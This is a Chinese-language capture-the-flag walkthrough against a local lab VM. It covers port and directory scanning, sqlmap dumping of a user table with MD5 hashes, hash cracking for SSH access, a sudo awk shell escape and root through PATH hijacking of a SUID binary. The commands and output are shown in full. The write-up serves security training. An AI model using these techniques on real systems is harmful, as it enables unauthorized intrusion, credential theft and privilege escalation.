kali:192.168.56.104
靶机:192.168.56.125
端口扫描
# nmap 192.168.56.125
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:35 CST
Nmap scan report for 192.168.56.125
Host is up (0.00051s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:31:E0:4D (Oracle VirtualBox virtual NIC)
开启 22 80端口
先扫一下目录
# gobuster dir -u http://192.168.56.125 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.125
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,bak,zip,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 3479]
/img (Status: 301) [Size: 314] [--> http://192.168.56.125/img/]
/login (Status: 301) [Size: 316] [--> http://192.168.56.125/login/]
/joinus (Status: 301) [Size: 317] [--> http://192.168.56.125/joinus/]
就一个login和joinus
去看web
joinus有个超链接，点进去有说明
没想到他给的这个例子居然真的能登录
admin/d46df8e6a5627debf930f7b5c8f3b083（直接复制会有一个换行键登不上去）
进去Search Centrals发现有sql注入
直接把请求包放入sqlmap跑
sqlmap -l sql.txt --batch --dbs #爆库
[*] information_schema
[*] nebuladb
sqlmap -l sql.txt --batch -D nebuladb --tables #爆表
+----------+
| central |
| centrals |
| users |
+----------+
sqlmap -l sql.txt --batch -D nebuladb -T users --dump #爆数据
+----+----------+----------------------------------+-------------+
| id | is_admin | password | username |
+----+----------+----------------------------------+-------------+
| 1 | 1 | d46df8e6a5627debf930f7b5c8f3b083 | admin |
| 2 | 0 | c8c605999f3d8352d7bb792cf3fdb25b | pmccentral |
| 3 | 0 | 5f823f1ac7c9767c8d1efbf44158e0ea | Frederick |
| 3 | 0 | 4c6dda8a9d149332541e577b53e2a3ea | Samuel |
| 5 | 0 | 41ae0e6fbe90c08a63217fc964b12903 | Mary |
| 6 | 0 | 5d8cdc88039d5fc021880f9af4f7c5c3 | hecolivares |
| 7 | 1 | c8c605999f3d8352d7bb792cf3fdb25b | pmccentral |
+----+----------+----------------------------------+-------------+
经过md5碰撞发现pmccentral的密码是999999999
工具地址
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊 (hashes.com)
ssh连接之后发现pmccentral没有user flag，用户目录下有个employees的文件，里面全是人名
pmccentral@laboratoryuser:~$ cd documents/
pmccentral@laboratoryuser:~/documents$ ls -al
total 12
drwxrwxr-x 2 pmccentral pmccentral 4096 Mar 22 04:32 .
drwxr-xr-x 7 pmccentral pmccentral 4096 Mar 22 04:32 ..
-rwxrwxrwx 1 pmccentral pmccentral 876 Mar 22 04:32 employees.txt
想办法横向到laboratoryadmin
sudo -l发现可以
pmccentral@laboratoryuser:/home$ sudo -l
[sudo] password for pmccentral:
Matching Defaults entries for pmccentral on laboratoryuser:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pmccentral may run the following commands on laboratoryuser:
(laboratoryadmin) /usr/bin/awk
直接一手
sudo -u laboratoryadmin /usr/bin/awk 'BEGIN {system("/bin/sh")}'pmccentral@laboratoryuser:/home$ sudo -u laboratoryadmin /usr/bin/awk 'BEGIN {system("/bin/sh")}'
$ whoami
laboratoryadmin
$ /usr/bin/script -qc /bin/bash /dev/null
laboratoryadmin@laboratoryuser:/home$
成功跳转到laboratoryadmin用户，并且用户目录下有user.txt拿到第一个flag
laboratoryadmin@laboratoryuser:~$ ls -al
total 64
drwx------ 11 laboratoryadmin laboratoryadmin 4096 Mar 22 04:24 .
drwxr-xr-x 4 root root 4096 Dec 17 15:34 ..
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Mar 22 04:33 autoScripts
-rw------- 1 laboratoryadmin laboratoryadmin 420 Mar 22 04:07 .bash_history
-rw-r--r-- 1 laboratoryadmin laboratoryadmin 220 Dec 17 15:29 .bash_logout
-rw-r--r-- 1 laboratoryadmin laboratoryadmin 3771 Dec 17 15:29 .bashrc
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Dec 17 15:34 desktop
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Dec 17 15:34 documents
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Dec 17 15:34 downloads
drwx------ 3 laboratoryadmin laboratoryadmin 4096 Mar 22 04:13 .gnupg
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Dec 17 15:34 home
drwxrwxr-x 3 laboratoryadmin laboratoryadmin 4096 Dec 17 15:30 .local
-rw-r--r-- 1 laboratoryadmin laboratoryadmin 807 Dec 17 15:29 .profile
drwx------ 3 laboratoryadmin laboratoryadmin 4096 Mar 22 04:13 snap
drwx------ 2 laboratoryadmin laboratoryadmin 4096 Mar 22 04:24 .ssh
-rw-r--r-- 1 laboratoryadmin laboratoryadmin 33 Dec 18 16:15 user.txt
有一个文件叫autoScripts翻译过来就是自动脚本
laboratoryadmin@laboratoryuser:~/autoScripts$ ls -al
total 32
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4096 Mar 22 04:48 .
drwx------ 11 laboratoryadmin laboratoryadmin 4096 Mar 22 04:48 ..
-rwxrwxrwx 1 laboratoryadmin laboratoryadmin 8 Mar 22 04:48 head
-rwsr-xr-x 1 root root 16792 Dec 17 15:40 PMCEmployees
laboratoryadmin@laboratoryuser:~/autoScripts$ cat head
bash -p
里面的PMCEmployees可执行文件有root权限
当前目录的head指令是bash -p
把可执行文件反编译看一下是什么东西
放到IDA 64看一下
以root权限执行 head /home/pmccentral/documents/employees.txt
那么这就可以利用提权了
第一种方法，因为我们可以write 这个head，所以可以手改head，注意修改环境变量，把head改成我们修改的head
laboratoryadmin@laboratoryuser:~/autoScripts$ vim head
laboratoryadmin@laboratoryuser:~/autoScripts$ cat head
/bin/bash #改成/bin/bash
laboratoryadmin@laboratoryuser:~/autoScripts$ export PATH="$PWD:$PATH" #修改环境变量
laboratoryadmin@laboratoryuser:~/autoScripts$ ./PMCEmployees
root@laboratoryuser:~/autoScripts# whoami
root
第二种，就利用原来的head，因为它里面是bash -p也能让我们拿到root权限
laboratoryadmin@laboratoryuser:~/autoScripts$ which head
/usr/bin/head
laboratoryadmin@laboratoryuser:~/autoScripts$ export PATH="$PWD:$PATH"
laboratoryadmin@laboratoryuser:~/autoScripts$ which head
/home/laboratoryadmin/autoScripts/head
laboratoryadmin@laboratoryuser:~/autoScripts$ ./PMCEmployees
root@laboratoryuser:~/autoScripts# whoami
root
总之注意修改环境变量.
